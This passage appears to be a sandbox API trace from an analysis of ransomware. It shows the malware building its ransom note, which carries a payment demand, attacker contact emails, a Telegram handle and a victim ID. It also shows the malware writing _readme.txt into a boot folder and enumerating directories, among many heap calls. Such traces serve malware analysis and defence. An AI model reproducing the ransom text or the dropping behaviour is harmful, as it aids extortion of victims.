tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.709] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.709] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.709] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.709] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.709] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.710] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.710] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.710] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.710] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.710] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.710] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.710] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.713] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.714] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.715] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.715] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.716] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.716] RtlAllocateHeap (HeapHandle=0x660000, 